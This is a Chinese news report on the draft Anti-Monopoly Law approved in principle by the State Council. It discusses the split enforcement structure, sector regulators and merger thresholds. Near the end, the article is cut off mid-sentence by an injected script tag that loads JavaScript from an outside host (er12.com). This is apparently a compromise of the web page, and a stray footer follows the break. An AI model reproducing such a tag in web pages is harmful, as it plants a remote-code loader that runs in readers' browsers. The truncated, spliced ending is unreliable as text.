中国反垄断法临产 反3类经济垄断 执法权存争议

记者 秦旭东北京报道

经过12年漫长孕育的中国反垄断立法正经受着临产前的焦灼。

6月7日,国务院原则性通过了《反垄断法(草案)》(以下简称“草案”),并决定在进一步修改后提交人大常委会审议。

这部被称为“经济宪法”的法律,从最初由原国家经贸委和国家工商总局联合起草,到由商务部起草,再到国务院法制办审查修改,经历了诸多变数。

本报记者了解到,草案中有关反垄断执法机构、并购申报标准和行政性垄断等诸多重大争议问题,初步有了定案。

然而,争议依然存在,“特别是执法权和行政性垄断问题,到人大审议的时候,肯定还会再提。”长期跟踪研究反垄断立法的大成律师事务所合伙人刘忠说。

“从草案一些条文来看,还存在很大的模糊空间。这是个要害问题,如果不解决,将来更大的挑战将是执法问题,这关系到该法实施的有效性。”立法专家组成员、对外经贸大学黄勇教授不无忧虑地告诉记者。

反垄断机构“双层架构”

据记者了解,草案确立了“反垄断委员会”和“反垄断执法机构”的“双层架构”模式。

反垄断委员会由“国务院有关部门、机构的负责人和若干专家组成”,定位是负责领导、组织、协调反垄断工作,职责包括:研究拟定竞争政策;组织调查、评估市场竞争状况;监督、协调反垄断执法机构和相关机构的执法工作;协调重大反垄断案件的处理等。其议事方式和工作规则,将由国务院规定。

先前争议过的将“执法”纳入反垄断委员会职责的意见并没有被采纳。黄勇分析,这基本上是个“指导性、协调性”机构。

而关于反垄断执法机构,草案的措辞是“国务院规定的承担反垄断执法职责的机构”。它的职责包括:制定、发布反垄断指南和具体措施;调查、评估市场竞争状况;调查处理涉嫌垄断行为;制止垄断行为;受理、审查经营者集中的申报等。

但是,草案并没有明确“反垄断执法机构”是新设一个机构,还是现有的哪几个机构,很多人期待的一个高度统一、独立、权威、专业的主管机构并没有出现。

在原国家经贸委负责起草时期曾参与立法的中国政法大学李曙光教授说,“这基本上是个维持现有格局的架构。不做大调整的方案最容易通过,但恰恰它的有效性和解决问题的能力会弱一些。这不是长远之计,将来肯定要集中。”

目前,主要的反垄断机构有商务部反垄断调查办公室、国家工商总局公平交易局反垄断处和国家发改委。而据国家工商总局公平交易局反垄断处处长桑林的总结,有权负责竞争执法的机关不下十几家,“世界上没有一个国家像中国这样由如此众多的行政执法部门来负责竞争执法。责权脱节、监管缺失等弊端日益显现。”

“这些机构的分工如何明确,他们内部的具体部门如何设置等,都是大问题。另外,由哪家代表中国政府对外交流,怎么协调?”黄勇说。

问题不仅于此。有专家担心,反垄断委员会组成人员中,“有关部门、机构的负责人”往往本身的工作就十分繁重,又如何来应对高度专业性和十分复杂的反垄断问题?他们和“若干专家”又如何议事、决策?

还有,反垄断委员会没有执法功能,但它对反垄断案件处理的“协调”,是不是个严格的法律程序,这对被调查处理的企业寻求行政复议和行政诉讼等法律救济都关系重大。

反垄断机构和行业监管部门的关系,是另一争议重大的问题。这还涉及反垄断法(一般法)和相关行业监管法(特别法)的关系。

现有的大量行业监管法是在计划经济时期就制定的,相关监管机构同行业经营者存在千丝万缕的关系,这种格局常常被斥为“老子管儿子”。

因此,立法专家组成员、北京大学盛杰民教授主张,对与反垄断法相关的事项一律由反垄断主管机关行使职权,在特别法优于一般法的原则上,要防止给行业利益集团排斥反垄断规制提供借口。

草案明确,“有关法律、行政法规规定由有关部门和机构调查处理的,依照其规定。”但是,调查处理结果要通报反垄断委员会;有关部门和监管机构未调查的,反垄断执法机构可以调查处理,但要征求有关部门和监管机构的意见。

“这实际上又将反垄断执法权进一步分散。”黄勇说。

很多人担心,“相关行业”涉及铁路、民航、邮政、石油、电信等非常广泛的领域,本身就需要不断深化改革,相关法律也需要修改完善,厘清利益关系,如果让利益相关者来负责反垄断,效力很值得怀疑。

而且,行业管理机构未调查的,反垄断执法机构“可以”调查处理,而不是“应该”,这里面就具有选择性空间,都不积极执法怎么办?

另外,“征求意见”在法律上意味着什么,有没有强制力?一位专家表示,“里面的漏洞太大了。”

并购申报标准:120亿与8亿

反垄断法反对的经济性垄断行为主要包括:垄断协议、滥用市场支配地位和排除、限制竞争的经营者集中。

对垄断协议的豁免,目前草案删除了关于协议例外许?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态